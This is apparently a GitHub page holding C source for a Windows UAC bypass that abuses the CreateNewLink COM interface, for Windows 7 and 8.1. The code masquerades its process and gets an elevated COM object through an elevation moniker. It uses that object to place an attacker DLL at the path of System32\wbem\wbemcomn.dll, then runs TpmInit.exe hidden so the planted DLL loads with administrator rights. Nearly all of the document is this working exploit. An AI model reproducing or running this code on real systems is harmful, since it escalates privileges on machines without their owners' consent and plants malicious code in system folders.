UAC bypass using CreateNewLink COM interface

August 23, 2018 ยท View on GitHub

typedef struct tagCREATELINKDATA { ULONG dwFlags; WCHAR szLinkName[MAX_PATH]; // + 0x20C WCHAR szExeName[MAX_PATH]; // + 0x414 WCHAR szParams[MAX_PATH]; // + 0x61C WCHAR szWorkingDir[MAX_PATH]; // + 0x824 WCHAR szOriginalName[MAX_PATH]; // + 0xA2C WCHAR szExpExeName[MAX_PATH]; // + 0xC34 WCHAR szProgDesc[MAX_PATH]; // + 0xE3C WCHAR szFolder[MAX_PATH]; // + 0x1044 WCHAR szExt[MAX_PATH]; // + 0x124C WCHAR szIconFile[MAX_PATH]; // + 0x1454 USHORT wIconIndex; } CREATELINKDATA, *PCREATELINKDATA;

typedef interface ICreateNewLink ICreateNewLink;

typedef struct ICreateNewLinkVtbl {

BEGIN_INTERFACE

    HRESULT(STDMETHODCALLTYPE *QueryInterface)(
        __RPC__in ICreateNewLink * This,
        __RPC__in REFIID riid,
        _COM_Outptr_  void **ppvObject);

    ULONG(STDMETHODCALLTYPE *AddRef)(
        __RPC__in ICreateNewLink * This);

    ULONG(STDMETHODCALLTYPE *Release)(
        __RPC__in ICreateNewLink * This);

    HRESULT(STDMETHODCALLTYPE *CreateNewLink)(
        __RPC__in ICreateNewLink * This,
        __RPC__in PCREATELINKDATA LinkData,
        __RPC__in DWORD dwFlags);

    HRESULT(STDMETHODCALLTYPE *RenameLink)(
        __RPC__in ICreateNewLink * This,
        __RPC__in PCREATELINKDATA LinkData);

END_INTERFACE

} *PICreateNewLinkVtbl;

interface ICreateNewLink { CONST_VTBL struct ICreateNewLinkVtbl *lpVtbl; };

// // Win 7, Win 8.1 // CreateNewLink is not in COMAutoApprovalList in Windows 10 // VOID Method49a_Test() { HRESULT hr;

ICreateNewLink   *CreateNewLink = NULL;

BIND_OPTS3        bop;
WCHAR             szElevationMoniker[MAX_PATH], szError[100];

CREATELINKDATA    LinkData;
IID               xIID_CreateNewLink;

SHELLEXECUTEINFO  sh;

supMasqueradeProcess(FALSE);
if (SUCCEEDED(CoInitializeEx(
    NULL,
    COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE)))
{
    if (IIDFromString(L"{B5AB9C96-C11D-43E7-B44C-79B13EE7AC6F}", &xIID_CreateNewLink) == S_OK) {

        RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker));

        _strcpy(szElevationMoniker, L"Elevation:Administrator!new:{1BA783C1-2A30-4ad3-B928-A9A46C604C28}");

        RtlSecureZeroMemory(&bop, sizeof(bop));
        bop.cbStruct = sizeof(bop);
        bop.dwClassContext = CLSCTX_LOCAL_SERVER;

        hr = CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, &xIID_CreateNewLink, &CreateNewLink);
        if (SUCCEEDED(hr)) {
            RtlSecureZeroMemory(&LinkData, sizeof(LinkData));
            LinkData.dwFlags = 0x200;
            _strcpy(LinkData.szExeName, L"C:\\trash\\MLP.dll");
            _strcpy(LinkData.szLinkName, L"C:\\Windows\\System32\\wbem\\wbemcomn.dll");
            hr = CreateNewLink->lpVtbl->CreateNewLink(CreateNewLink, &LinkData, 0);
            if (!SUCCEEDED(hr)) {
                _strcpy(szError, L"CreateNewLink failed = 0x");
                ultostr(hr, _strend(szError));
                MessageBox(GetDesktopWindow(), szError, NULL, MB_OK);
            }
            else {
                RtlSecureZeroMemory(&sh, sizeof(sh));
                sh.cbSize = sizeof(sh);
                sh.lpFile = L"C:\\Windows\\System32\\TpmInit.exe";
                sh.nShow = SW_HIDE;
                sh.fMask = SEE_MASK_NOCLOSEPROCESS;
                if (ShellExecuteEx(&sh)) {
                    if (WaitForSingleObject(sh.hProcess, 5000) == WAIT_TIMEOUT)
                        TerminateProcess(sh.hProcess, 0);
                    CloseHandle(sh.hProcess);
                }
            }
            CreateNewLink->lpVtbl->Release(CreateNewLink);
        }
        else {
            _strcpy(szError, L"CoGetObject failed = 0x");
            ultostr(hr, _strend(szError));
            MessageBox(GetDesktopWindow(), szError, NULL, MB_OK);
        }
    }                     
    CoUninitialize();
}
return;

}